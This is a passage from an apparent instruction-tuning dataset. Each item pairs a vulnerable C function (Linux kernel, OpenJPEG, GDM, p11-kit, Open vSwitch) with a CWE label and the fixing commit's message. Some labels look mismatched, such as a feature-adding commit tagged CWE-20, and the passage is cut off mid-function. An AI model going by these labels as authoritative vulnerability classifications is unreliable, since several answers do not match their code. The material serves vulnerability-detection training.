-EAGAIN;\n\t\tgoto out_ret;\n\t}\n\n\t/* We're below the limit (still or again), so we don't want to make\n\t * further execve() calls fail. */\n\tcurrent->flags &= ~PF_NPROC_EXCEEDED;\n\n\tretval = unshare_files(&displaced);\n\tif (retval)\n\t\tgoto out_ret;\n\n\tretval = -ENOMEM;\n\tbprm = kzalloc(sizeof(*bprm), GFP_KERNEL);\n\tif (!bprm)\n\t\tgoto out_files;\n\n\tretval = prepare_bprm_creds(bprm);\n\tif (retval)\n\t\tgoto out_free;\n\n\tcheck_unsafe_exec(bprm);\n\tcurrent->in_execve = 1;\n\n\tif (!file)\n\t\tfile = do_open_execat(fd, filename, flags);\n\tretval = PTR_ERR(file);\n\tif (IS_ERR(file))\n\t\tgoto out_unmark;\n\n\tsched_exec();\n\n\tbprm->file = file;\n\tif (!filename) {\n\t\tbprm->filename = \"none\";\n\t} else if (fd == AT_FDCWD || filename->name[0] == '/') {\n\t\tbprm->filename = filename->name;\n\t} else {\n\t\tif (filename->name[0] == '\\0')\n\t\t\tpathbuf = kasprintf(GFP_KERNEL, \"/dev/fd/%d\", fd);\n\t\telse\n\t\t\tpathbuf = kasprintf(GFP_KERNEL, \"/dev/fd/%d/%s\",\n\t\t\t\t\t fd, filename->name);\n\t\tif (!pathbuf) {\n\t\t\tretval = -ENOMEM;\n\t\t\tgoto out_unmark;\n\t\t}\n\t\t/*\n\t\t * Record that a name derived from an O_CLOEXEC fd will be\n\t\t * inaccessible after exec. Relies on having exclusive access to\n\t\t * current->files (due to unshare_files above).\n\t\t */\n\t\tif (close_on_exec(fd, rcu_dereference_raw(current->files->fdt)))\n\t\t\tbprm->interp_flags |= BINPRM_FLAGS_PATH_INACCESSIBLE;\n\t\tbprm->filename = pathbuf;\n\t}\n\tbprm->interp = bprm->filename;\n\n\tretval = bprm_mm_init(bprm);\n\tif (retval)\n\t\tgoto out_unmark;\n\n\tretval = prepare_arg_pages(bprm, argv, envp);\n\tif (retval < 0)\n\t\tgoto out;\n\n\tretval = prepare_binprm(bprm);\n\tif (retval < 0)\n\t\tgoto out;\n\n\tretval = copy_strings_kernel(1, &bprm->filename, bprm);\n\tif (retval < 0)\n\t\tgoto out;\n\n\tbprm->exec = bprm->p;\n\tretval = copy_strings(bprm->envc, envp, bprm);\n\tif (retval < 0)\n\t\tgoto out;\n\n\tretval = copy_strings(bprm->argc, argv, bprm);\n\tif (retval < 0)\n\t\tgoto out;\n\n\twould_dump(bprm, bprm->file);\n\n\tretval = exec_binprm(bprm);\n\tif (retval < 0)\n\t\tgoto out;\n\n\t/* execve succeeded */\n\tcurrent->fs->in_exec = 0;\n\tcurrent->in_execve = 0;\n\tmembarrier_execve(current);\n\trseq_execve(current);\n\tacct_update_integrals(current);\n\ttask_numa_free(current);\n\tfree_bprm(bprm);\n\tkfree(pathbuf);\n\tif (filename)\n\t\tputname(filename);\n\tif (displaced)\n\t\tput_files_struct(displaced);\n\treturn retval;\n\nout:\n\tif (bprm->mm) {\n\t\tacct_arg_size(bprm, 0);\n\t\tmmput(bprm->mm);\n\t}\n\nout_unmark:\n\tcurrent->fs->in_exec = 0;\n\tcurrent->in_execve = 0;\n\nout_free:\n\tfree_bprm(bprm);\n\tkfree(pathbuf);\n\nout_files:\n\tif (displaced)\n\t\treset_files_struct(displaced);\nout_ret:\n\tif (filename)\n\t\tputname(filename);\n\treturn retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'sched/fair: Don't free p->numa_faults with concurrent readers\n\nWhen going through execve(), zero out the NUMA fault statistics instead of\nfreeing them.\n\nDuring execve, the task is reachable through procfs and the scheduler. A\nconcurrent /proc/*/sched reader can read data from a freed ->numa_faults\nallocation (confirmed by KASAN) and write it back to userspace.\nI believe that it would also be possible for a use-after-free read to occur\nthrough a race between a NUMA fault and execve(): task_numa_fault() can\nlead to task_numa_compare(), which invokes task_weight() on the currently\nrunning task of a different CPU.\n\nAnother way to fix this would be to make ->numa_faults RCU-managed or add\nextra locking, but it seems easier to wipe the NUMA fault statistics on\nexecve.\n\nSigned-off-by: Jann Horn \nSigned-off-by: Peter Zijlstra (Intel) \nCc: Linus Torvalds \nCc: Peter Zijlstra \nCc: Petr Mladek \nCc: Sergey Senozhatsky \nCc: Thomas Gleixner \nCc: Will Deacon \nFixes: 82727018b0d3 (\"sched/numa: Call task_numa_free() from do_execve()\")\nLink: https://lkml.kernel.org/r/20190716152047.14424-1-jannh@google.com\nSigned-off-by: Ingo Molnar '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int __get_user_pages_fast(unsigned long start, int nr_pages, int write,\n\t\t\t struct page **pages)\n{\n\tunsigned long len, end;\n\tunsigned long flags;\n\tint nr_pinned = 0;\n\t/*\n\t * Internally (within mm/gup.c), gup fast variants must set FOLL_GET,\n\t * because gup fast is always a \"pin with a +1 page refcount\" request.\n\t */\n\tunsigned int gup_flags = FOLL_GET;\n\n\tif (write)\n\t\tgup_flags |= FOLL_WRITE;\n\n\tstart = untagged_addr(start) & PAGE_MASK;\n\tlen = (unsigned long) nr_pages << PAGE_SHIFT;\n\tend = start + len;\n\n\tif (end <= start)\n\t\treturn 0;\n\tif (unlikely(!access_ok((void __user *)start, len)))\n\t\treturn 0;\n\n\t/*\n\t * Disable interrupts. We use the nested form as we can already have\n\t * interrupts disabled by get_futex_key.\n\t *\n\t * With interrupts disabled, we block page table pages from being\n\t * freed from under us. See struct mmu_table_batch comments in\n\t * include/asm-generic/tlb.h for more details.\n\t *\n\t * We do not adopt an rcu_read_lock(.) here as we also want to\n\t * block IPIs that come from THPs splitting.\n\t */\n\n\tif (IS_ENABLED(CONFIG_HAVE_FAST_GUP) &&\n\t gup_fast_permitted(start, end)) {\n\t\tlocal_irq_save(flags);\n\t\tgup_pgd_range(start, end, gup_flags, pages, &nr_pinned);\n\t\tlocal_irq_restore(flags);\n\t}\n\n\treturn nr_pinned;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'gup: document and work around \"COW can break either way\" issue\n\nDoing a \"get_user_pages()\" on a copy-on-write page for reading can be\nambiguous: the page can be COW'ed at any time afterwards, and the\ndirection of a COW event isn't defined.\n\nYes, whoever writes to it will generally do the COW, but if the thread\nthat did the get_user_pages() unmapped the page before the write (and\nthat could happen due to memory pressure in addition to any outright\naction), the writer could also just take over the old page instead.\n\nEnd result: the get_user_pages() call might result in a page pointer\nthat is no longer associated with the original VM, and is associated\nwith - and controlled by - another VM having taken it over instead.\n\nSo when doing a get_user_pages() on a COW mapping, the only really safe\nthing to do would be to break the COW when getting the page, even when\nonly getting it for reading.\n\nAt the same time, some users simply don't even care.\n\nFor example, the perf code wants to look up the page not because it\ncares about the page, but because the code simply wants to look up the\nphysical address of the access for informational purposes, and doesn't\nreally care about races when a page might be unmapped and remapped\nelsewhere.\n\nThis adds logic to force a COW event by setting FOLL_WRITE on any\ncopy-on-write mapping when FOLL_GET (or FOLL_PIN) is used to get a page\npointer as a result.\n\nThe current semantics end up being:\n\n - __get_user_pages_fast(): no change. If you don't ask for a write,\n you won't break COW. You'd better know what you're doing.\n\n - get_user_pages_fast(): the fast-case \"look it up in the page tables\n without anything getting mmap_sem\" now refuses to follow a read-only\n page, since it might need COW breaking. Which happens in the slow\n path - the fast path doesn't know if the memory might be COW or not.\n\n - get_user_pages() (including the slow-path fallback for gup_fast()):\n for a COW mapping, turn on FOLL_WRITE for FOLL_GET/FOLL_PIN, with\n very similar semantics to FOLL_FORCE.\n\nIf it turns out that we want finer granularity (ie \"only break COW when\nit might actually matter\" - things like the zero page are special and\ndon't need to be broken) we might need to push these semantics deeper\ninto the lookup fault path. So if people care enough, it's possible\nthat we might end up adding a new internal FOLL_BREAK_COW flag to go\nwith the internal FOLL_COW flag we already have for tracking \"I had a\nCOW\".\n\nAlternatively, if it turns out that different callers might want to\nexplicitly control the forced COW break behavior, we might even want to\nmake such a flag visible to the users of get_user_pages() instead of\nusing the above default semantics.\n\nBut for now, this is mostly commentary on the issue (this commit message\nbeing a lot bigger than the patch, and that patch in turn is almost all\ncomments), with that minimal \"enable COW breaking early\" logic using the\nexisting FOLL_WRITE behavior.\n\n[ It might be worth noting that we've always had this ambiguity, and it\n could arguably be seen as a user-space issue.\n\n You only get private COW mappings that could break either way in\n situations where user space is doing cooperative things (ie fork()\n before an execve() etc), but it _is_ surprising and very subtle, and\n fork() is supposed to give you independent address spaces.\n\n So let's treat this as a kernel issue and make the semantics of\n get_user_pages() easier to understand. Note that obviously a true\n shared mapping will still get a page that can change under us, so this\n does _not_ mean that get_user_pages() somehow returns any \"stable\"\n page ]\n\nReported-by: Jann Horn \nTested-by: Christoph Hellwig \nAcked-by: Oleg Nesterov \nAcked-by: Kirill Shutemov \nAcked-by: Jan Kara \nCc: Andrea Arcangeli \nCc: Matthew Wilcox \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bucket_insert (index_bucket *bucket,\n CK_OBJECT_HANDLE handle)\n{\n\tunsigned int alloc;\n\tint at = 0;\n\n\tif (bucket->elem) {\n\t\tat = binary_search (bucket->elem, 0, bucket->num, handle);\n\t\tif (at < bucket->num && bucket->elem[at] == handle)\n\t\t\treturn;\n\t}\n\n\talloc = alloc_size (bucket->num);\n\tif (bucket->num + 1 > alloc) {\n\t\tCK_OBJECT_HANDLE *elem;\n\n\t\talloc = alloc ? alloc * 2 : 1;\n\t\treturn_if_fail (alloc != 0);\n\t\telem = realloc (bucket->elem, alloc * sizeof (CK_OBJECT_HANDLE));\n\t\treturn_if_fail (elem != NULL);\n\t\tbucket->elem = elem;\n\t}\n\n\treturn_if_fail (bucket->elem != NULL);\n\tmemmove (bucket->elem + at + 1, bucket->elem + at,\n\t (bucket->num - at) * sizeof (CK_OBJECT_HANDLE));\n\tbucket->elem[at] = handle;\n\tbucket->num++;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Check for arithmetic overflows before allocating'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: session_worker_child_watch (GPid pid,\n int status,\n GdmSessionWorker *worker)\n{\n g_debug (\"GdmSessionWorker: child (pid:%d) done (%s:%d)\",\n (int) pid,\n WIFEXITED (status) ? \"status\"\n : WIFSIGNALED (status) ? \"signal\"\n : \"unknown\",\n WIFEXITED (status) ? WEXITSTATUS (status)\n : WIFSIGNALED (status) ? WTERMSIG (status)\n : -1);\n\n\n gdm_session_worker_uninitialize_pam (worker, PAM_SUCCESS);\n\n gdm_dbus_worker_emit_session_exited (GDM_DBUS_WORKER (worker),\n worker->priv->service,\n status);\n\n killpg (pid, SIGHUP);\n\n worker->priv->child_pid = -1;\n worker->priv->child_watch_id = 0;\n run_script (worker, GDMCONFDIR \"/PostSession\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'session-worker: Don't switch back VTs until session is fully exited\n\nThere's a race condition on shutdown where the session worker is\nswitching VTs back to the initial VT at the same time as the session\nexit is being processed.\n\nThis means that manager may try to start a login screen (because of\nthe VT switch) when autologin is enabled when there shouldn't be a\nlogin screen.\n\nThis commit makes sure both the PostSession script, and session-exited\nsignal emission are complete before initiating the VT switch back\nto the initial VT.\n\nhttps://gitlab.gnome.org/GNOME/gdm/-/issues/660'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static opj_pi_iterator_t * opj_pi_create(const opj_image_t *image,\n const opj_cp_t *cp,\n OPJ_UINT32 tileno)\n{\n /* loop*/\n OPJ_UINT32 pino, compno;\n /* number of poc in the p_pi*/\n OPJ_UINT32 l_poc_bound;\n\n /* pointers to tile coding parameters and components.*/\n opj_pi_iterator_t *l_pi = 00;\n opj_tcp_t *tcp = 00;\n const opj_tccp_t *tccp = 00;\n\n /* current packet iterator being allocated*/\n opj_pi_iterator_t *l_current_pi = 00;\n\n /* preconditions in debug*/\n assert(cp != 00);\n assert(image != 00);\n assert(tileno < cp->tw * cp->th);\n\n /* initializations*/\n tcp = &cp->tcps[tileno];\n l_poc_bound = tcp->numpocs + 1;\n\n /* memory allocations*/\n l_pi = (opj_pi_iterator_t*) opj_calloc((l_poc_bound),\n sizeof(opj_pi_iterator_t));\n if (!l_pi) {\n return NULL;\n }\n\n l_current_pi = l_pi;\n for (pino = 0; pino < l_poc_bound ; ++pino) {\n\n l_current_pi->comps = (opj_pi_comp_t*) opj_calloc(image->numcomps,\n sizeof(opj_pi_comp_t));\n if (! l_current_pi->comps) {\n opj_pi_destroy(l_pi, l_poc_bound);\n return NULL;\n }\n\n l_current_pi->numcomps = image->numcomps;\n\n for (compno = 0; compno < image->numcomps; ++compno) {\n opj_pi_comp_t *comp = &l_current_pi->comps[compno];\n\n tccp = &tcp->tccps[compno];\n\n comp->resolutions = (opj_pi_resolution_t*) opj_calloc(tccp->numresolutions,\n sizeof(opj_pi_resolution_t));\n if (!comp->resolutions) {\n opj_pi_destroy(l_pi, l_poc_bound);\n return 00;\n }\n\n comp->numresolutions = tccp->numresolutions;\n }\n ++l_current_pi;\n }\n return l_pi;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-122'], 'message': 'pi.c: avoid out of bounds access with POC (refs https://github.com/uclouvain/openjpeg/issues/1293#issuecomment-737122836)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static OPJ_UINT32 opj_j2k_get_specific_header_sizes(opj_j2k_t *p_j2k)\n{\n OPJ_UINT32 l_nb_bytes = 0;\n OPJ_UINT32 l_nb_comps;\n OPJ_UINT32 l_coc_bytes, l_qcc_bytes;\n\n l_nb_comps = p_j2k->m_private_image->numcomps - 1;\n l_nb_bytes += opj_j2k_get_max_toc_size(p_j2k);\n\n if (!(OPJ_IS_CINEMA(p_j2k->m_cp.rsiz))) {\n l_coc_bytes = opj_j2k_get_max_coc_size(p_j2k);\n l_nb_bytes += l_nb_comps * l_coc_bytes;\n\n l_qcc_bytes = opj_j2k_get_max_qcc_size(p_j2k);\n l_nb_bytes += l_nb_comps * l_qcc_bytes;\n }\n\n l_nb_bytes += opj_j2k_get_max_poc_size(p_j2k);\n\n /*** DEVELOPER CORNER, Add room for your headers ***/\n\n return l_nb_bytes;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Add support for generation of PLT markers in encoder\n\n* -PLT switch added to opj_compress\n* Add a opj_encoder_set_extra_options() function that\n accepts a PLT=YES option, and could be expanded later\n for other uses.\n\n-------\n\nTesting with a Sentinel2 10m band, T36JTT_20160914T074612_B02.jp2,\ncoming from S2A_MSIL1C_20160914T074612_N0204_R135_T36JTT_20160914T081456.SAFE\n\nDecompress it to TIFF:\n```\nopj_uncompress -i T36JTT_20160914T074612_B02.jp2 -o T36JTT_20160914T074612_B02.tif\n```\n\nRecompress it with similar parameters as original:\n```\nopj_compress -n 5 -c [256,256],[256,256],[256,256],[256,256],[256,256] -t 1024,1024 -PLT -i T36JTT_20160914T074612_B02.tif -o T36JTT_20160914T074612_B02_PLT.jp2\n```\n\nDump codestream detail with GDAL dump_jp2.py utility (https://github.com/OSGeo/gdal/blob/master/gdal/swig/python/samples/dump_jp2.py)\n```\npython dump_jp2.py T36JTT_20160914T074612_B02.jp2 > /tmp/dump_sentinel2_ori.txt\npython dump_jp2.py T36JTT_20160914T074612_B02_PLT.jp2 > /tmp/dump_sentinel2_openjpeg_plt.txt\n```\n\nThe diff between both show very similar structure, and identical number of packets in PLT markers\n\nNow testing with Kakadu (KDU803_Demo_Apps_for_Linux-x86-64_200210)\n\nFull file decompression:\n```\nkdu_expand -i T36JTT_20160914T074612_B02_PLT.jp2 -o tmp.tif\n\nConsumed 121 tile-part(s) from a total of 121 tile(s).\nConsumed 80,318,806 codestream bytes (excluding any file format) = 5.329697\nbits/pel.\nProcessed using the multi-threaded environment, with\n 8 parallel threads of execution\n```\n\nPartial decompresson (presumably using PLT markers):\n```\nkdu_expand -i T36JTT_20160914T074612_B02.jp2 -o tmp.pgm -region \"{0.5,0.5},{0.01,0.01}\"\nkdu_expand -i T36JTT_20160914T074612_B02_PLT.jp2 -o tmp2.pgm -region \"{0.5,0.5},{0.01,0.01}\"\ndiff tmp.pgm tmp2.pgm && echo \"same !\"\n```\n\n-------\n\nFunded by ESA for S2-MPC project'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int unix_stream_read_generic(struct unix_stream_read_state *state)\n{\n\tstruct scm_cookie scm;\n\tstruct socket *sock = state->socket;\n\tstruct sock *sk = sock->sk;\n\tstruct unix_sock *u = unix_sk(sk);\n\tint copied = 0;\n\tint flags = state->flags;\n\tint noblock = flags & MSG_DONTWAIT;\n\tbool check_creds = false;\n\tint target;\n\tint err = 0;\n\tlong timeo;\n\tint skip;\n\tsize_t size = state->size;\n\tunsigned int last_len;\n\n\terr = -EINVAL;\n\tif (sk->sk_state != TCP_ESTABLISHED)\n\t\tgoto out;\n\n\terr = -EOPNOTSUPP;\n\tif (flags & MSG_OOB)\n\t\tgoto out;\n\n\ttarget = sock_rcvlowat(sk, flags & MSG_WAITALL, size);\n\ttimeo = sock_rcvtimeo(sk, noblock);\n\n\tmemset(&scm, 0, sizeof(scm));\n\n\t/* Lock the socket to prevent queue disordering\n\t * while sleeps in memcpy_tomsg\n\t */\n\tmutex_lock(&u->readlock);\n\n\tif (flags & MSG_PEEK)\n\t\tskip = sk_peek_offset(sk, flags);\n\telse\n\t\tskip = 0;\n\n\tdo {\n\t\tint chunk;\n\t\tbool drop_skb;\n\t\tstruct sk_buff *skb, *last;\n\n\t\tunix_state_lock(sk);\n\t\tif (sock_flag(sk, SOCK_DEAD)) {\n\t\t\terr = -ECONNRESET;\n\t\t\tgoto unlock;\n\t\t}\n\t\tlast = skb = skb_peek(&sk->sk_receive_queue);\n\t\tlast_len = last ? last->len : 0;\nagain:\n\t\tif (skb == NULL) {\n\t\t\tunix_sk(sk)->recursion_level = 0;\n\t\t\tif (copied >= target)\n\t\t\t\tgoto unlock;\n\n\t\t\t/*\n\t\t\t *\tPOSIX 1003.1g mandates this order.\n\t\t\t */\n\n\t\t\terr = sock_error(sk);\n\t\t\tif (err)\n\t\t\t\tgoto unlock;\n\t\t\tif (sk->sk_shutdown & RCV_SHUTDOWN)\n\t\t\t\tgoto unlock;\n\n\t\t\tunix_state_unlock(sk);\n\t\t\terr = -EAGAIN;\n\t\t\tif (!timeo)\n\t\t\t\tbreak;\n\t\t\tmutex_unlock(&u->readlock);\n\n\t\t\ttimeo = unix_stream_data_wait(sk, timeo, last,\n\t\t\t\t\t\t last_len);\n\n\t\t\tif (signal_pending(current)) {\n\t\t\t\terr = sock_intr_errno(timeo);\n\t\t\t\tgoto out;\n\t\t\t}\n\n\t\t\tmutex_lock(&u->readlock);\n\t\t\tcontinue;\nunlock:\n\t\t\tunix_state_unlock(sk);\n\t\t\tbreak;\n\t\t}\n\n\t\twhile (skip >= unix_skb_len(skb)) {\n\t\t\tskip -= unix_skb_len(skb);\n\t\t\tlast = skb;\n\t\t\tlast_len = skb->len;\n\t\t\tskb = skb_peek_next(skb, &sk->sk_receive_queue);\n\t\t\tif (!skb)\n\t\t\t\tgoto again;\n\t\t}\n\n\t\tunix_state_unlock(sk);\n\n\t\tif (check_creds) {\n\t\t\t/* Never glue messages from different writers */\n\t\t\tif (!unix_skb_scm_eq(skb, &scm))\n\t\t\t\tbreak;\n\t\t} else if (test_bit(SOCK_PASSCRED, &sock->flags)) {\n\t\t\t/* Copy credentials */\n\t\t\tscm_set_cred(&scm, UNIXCB(skb).pid, UNIXCB(skb).uid, UNIXCB(skb).gid);\n\t\t\tunix_set_secdata(&scm, skb);\n\t\t\tcheck_creds = true;\n\t\t}\n\n\t\t/* Copy address just once */\n\t\tif (state->msg && state->msg->msg_name) {\n\t\t\tDECLARE_SOCKADDR(struct sockaddr_un *, sunaddr,\n\t\t\t\t\t state->msg->msg_name);\n\t\t\tunix_copy_addr(state->msg, skb->sk);\n\t\t\tsunaddr = NULL;\n\t\t}\n\n\t\tchunk = min_t(unsigned int, unix_skb_len(skb) - skip, size);\n\t\tskb_get(skb);\n\t\tchunk = state->recv_actor(skb, skip, chunk, state);\n\t\tdrop_skb = !unix_skb_len(skb);\n\t\t/* skb is only safe to use if !drop_skb */\n\t\tconsume_skb(skb);\n\t\tif (chunk < 0) {\n\t\t\tif (copied == 0)\n\t\t\t\tcopied = -EFAULT;\n\t\t\tbreak;\n\t\t}\n\t\tcopied += chunk;\n\t\tsize -= chunk;\n\n\t\tif (drop_skb) {\n\t\t\t/* the skb was touched by a concurrent reader;\n\t\t\t * we should not expect anything from this skb\n\t\t\t * anymore and assume it invalid - we can be\n\t\t\t * sure it was dropped from the socket queue\n\t\t\t *\n\t\t\t * let's report a short read\n\t\t\t */\n\t\t\terr = 0;\n\t\t\tbreak;\n\t\t}\n\n\t\t/* Mark read part of skb as used */\n\t\tif (!(flags & MSG_PEEK)) {\n\t\t\tUNIXCB(skb).consumed += chunk;\n\n\t\t\tsk_peek_offset_bwd(sk, chunk);\n\n\t\t\tif (UNIXCB(skb).fp)\n\t\t\t\tunix_detach_fds(&scm, skb);\n\n\t\t\tif (unix_skb_len(skb))\n\t\t\t\tbreak;\n\n\t\t\tskb_unlink(skb, &sk->sk_receive_queue);\n\t\t\tconsume_skb(skb);\n\n\t\t\tif (scm.fp)\n\t\t\t\tbreak;\n\t\t} else {\n\t\t\t/* It is questionable, see note in unix_dgram_recvmsg.\n\t\t\t */\n\t\t\tif (UNIXCB(skb).fp)\n\t\t\t\tscm.fp = scm_fp_dup(UNIXCB(skb).fp);\n\n\t\t\tsk_peek_offset_fwd(sk, chunk);\n\n\t\t\tif (UNIXCB(skb).fp)\n\t\t\t\tbreak;\n\n\t\t\tskip = 0;\n\t\t\tlast = skb;\n\t\t\tlast_len = skb->len;\n\t\t\tunix_state_lock(sk);\n\t\t\tskb = skb_peek_next(skb, &sk->sk_receive_queue);\n\t\t\tif (skb)\n\t\t\t\tgoto again;\n\t\t\tunix_state_unlock(sk);\n\t\t\tbreak;\n\t\t}\n\t} while (size);\n\n\tmutex_unlock(&u->readlock);\n\tif (state->msg)\n\t\tscm_recv(sock, state->msg, &scm, flags);\n\telse\n\t\tscm_destroy(&scm);\nout:\n\treturn copied ? : err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'af_unix: fix struct pid memory leak\n\nDmitry reported a struct pid leak detected by a syzkaller program.\n\nBug happens in unix_stream_recvmsg() when we break the loop when a\nsignal is pending, without properly releasing scm.\n\nFixes: b3ca9b02b007 (\"net: fix multithreaded signal handling in unix recv routines\")\nReported-by: Dmitry Vyukov \nSigned-off-by: Eric Dumazet \nCc: Rainer Weikusat \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: miniflow_extract(struct dp_packet *packet, struct miniflow *dst)\n{\n const struct pkt_metadata *md = &packet->md;\n const void *data = dp_packet_data(packet);\n size_t size = dp_packet_size(packet);\n uint64_t *values = miniflow_values(dst);\n struct mf_ctx mf = { FLOWMAP_EMPTY_INITIALIZER, values,\n values + FLOW_U64S };\n const char *l2;\n ovs_be16 dl_type;\n uint8_t nw_frag, nw_tos, nw_ttl, nw_proto;\n\n /* Metadata. */\n if (flow_tnl_dst_is_set(&md->tunnel)) {\n miniflow_push_words(mf, tunnel, &md->tunnel,\n offsetof(struct flow_tnl, metadata) /\n sizeof(uint64_t));\n\n if (!(md->tunnel.flags & FLOW_TNL_F_UDPIF)) {\n if (md->tunnel.metadata.present.map) {\n miniflow_push_words(mf, tunnel.metadata, &md->tunnel.metadata,\n sizeof md->tunnel.metadata /\n sizeof(uint64_t));\n }\n } else {\n if (md->tunnel.metadata.present.len) {\n miniflow_push_words(mf, tunnel.metadata.present,\n &md->tunnel.metadata.present, 1);\n miniflow_push_words(mf, tunnel.metadata.opts.gnv,\n md->tunnel.metadata.opts.gnv,\n DIV_ROUND_UP(md->tunnel.metadata.present.len,\n sizeof(uint64_t)));\n }\n }\n }\n if (md->skb_priority || md->pkt_mark) {\n miniflow_push_uint32(mf, skb_priority, md->skb_priority);\n miniflow_push_uint32(mf, pkt_mark, md->pkt_mark);\n }\n miniflow_push_uint32(mf, dp_hash, md->dp_hash);\n miniflow_push_uint32(mf, in_port, odp_to_u32(md->in_port.odp_port));\n if (md->recirc_id || md->ct_state) {\n miniflow_push_uint32(mf, recirc_id, md->recirc_id);\n miniflow_push_uint16(mf, ct_state, md->ct_state);\n miniflow_push_uint16(mf, ct_zone, md->ct_zone);\n }\n\n if (md->ct_state) {\n miniflow_push_uint32(mf, ct_mark, md->ct_mark);\n miniflow_pad_to_64(mf, pad1);\n\n if (!ovs_u128_is_zero(&md->ct_label)) {\n miniflow_push_words(mf, ct_label, &md->ct_label,\n sizeof md->ct_label / sizeof(uint64_t));\n }\n }\n\n /* Initialize packet's layer pointer and offsets. */\n l2 = data;\n dp_packet_reset_offsets(packet);\n\n /* Must have full Ethernet header to proceed. */\n if (OVS_UNLIKELY(size < sizeof(struct eth_header))) {\n goto out;\n } else {\n ovs_be16 vlan_tci;\n\n /* Link layer. */\n ASSERT_SEQUENTIAL(dl_dst, dl_src);\n miniflow_push_macs(mf, dl_dst, data);\n /* dl_type, vlan_tci. */\n vlan_tci = parse_vlan(&data, &size);\n dl_type = parse_ethertype(&data, &size);\n miniflow_push_be16(mf, dl_type, dl_type);\n miniflow_push_be16(mf, vlan_tci, vlan_tci);\n }\n\n /* Parse mpls. */\n if (OVS_UNLIKELY(eth_type_mpls(dl_type))) {\n int count;\n const void *mpls = data;\n\n packet->l2_5_ofs = (char *)data - l2;\n count = parse_mpls(&data, &size);\n miniflow_push_words_32(mf, mpls_lse, mpls, count);\n }\n\n /* Network layer. */\n packet->l3_ofs = (char *)data - l2;\n\n nw_frag = 0;\n if (OVS_LIKELY(dl_type == htons(ETH_TYPE_IP))) {\n const struct ip_header *nh = data;\n int ip_len;\n uint16_t tot_len;\n\n if (OVS_UNLIKELY(size < IP_HEADER_LEN)) {\n goto out;\n }\n ip_len = IP_IHL(nh->ip_ihl_ver) * 4;\n\n if (OVS_UNLIKELY(ip_len < IP_HEADER_LEN)) {\n goto out;\n }\n if (OVS_UNLIKELY(size < ip_len)) {\n goto out;\n }\n tot_len = ntohs(nh->ip_tot_len);\n if (OVS_UNLIKELY(tot_len > size || ip_len > tot_len)) {\n goto out;\n }\n if (OVS_UNLIKELY(size - tot_len > UINT8_MAX)) {\n goto out;\n }\n dp_packet_set_l2_pad_size(packet, size - tot_len);\n size = tot_len; /* Never pull padding. */\n\n /* Push both source and destination address at once. */\n miniflow_push_words(mf, nw_src, &nh->ip_src, 1);\n\n miniflow_push_be32(mf, ipv6_label, 0); /* Padding for IPv4. */\n\n nw_tos = nh->ip_tos;\n nw_ttl = nh->ip_ttl;\n nw_proto = nh->ip_proto;\n if (OVS_UNLIKELY(IP_IS_FRAGMENT(nh->ip_frag_off))) {\n nw_frag = FLOW_NW_FRAG_ANY;\n if (nh->ip_frag_off & htons(IP_FRAG_OFF_MASK)) {\n nw_frag |= FLOW_NW_FRAG_LATER;\n }\n }\n data_pull(&data, &size, ip_len);\n } else if (dl_type == htons(ETH_TYPE_IPV6)) {\n const struct ovs_16aligned_ip6_hdr *nh;\n ovs_be32 tc_flow;\n uint16_t plen;\n\n if (OVS_UNLIKELY(size < sizeof *nh)) {\n goto out;\n }\n nh = data_pull(&data, &size, sizeof *nh);\n\n plen = ntohs(nh->ip6_plen);\n if (OVS_UNLIKELY(plen > size)) {\n goto out;\n }\n /* Jumbo Payload option not supported yet. */\n if (OVS_UNLIKELY(size - plen > UINT8_MAX)) {\n goto out;\n }\n dp_packet_set_l2_pad_size(packet, size - plen);\n size = plen; /* Never pull padding. */\n\n miniflow_push_words(mf, ipv6_src, &nh->ip6_src,\n sizeof nh->ip6_src / 8);\n miniflow_push_words(mf, ipv6_dst, &nh->ip6_dst,\n sizeof nh->ip6_dst / 8);\n\n tc_flow = get_16aligned_be32(&nh->ip6_flow);\n nw_tos = ntohl(tc_flow) >> 20;\n nw_ttl = nh->ip6_hlim;\n nw_proto = nh->ip6_nxt;\n\n while (1) {\n if (OVS_LIKELY((nw_proto != IPPROTO_HOPOPTS)\n && (nw_proto != IPPROTO_ROUTING)\n && (nw_proto != IPPROTO_DSTOPTS)\n && (nw_proto != IPPROTO_AH)\n && (nw_proto != 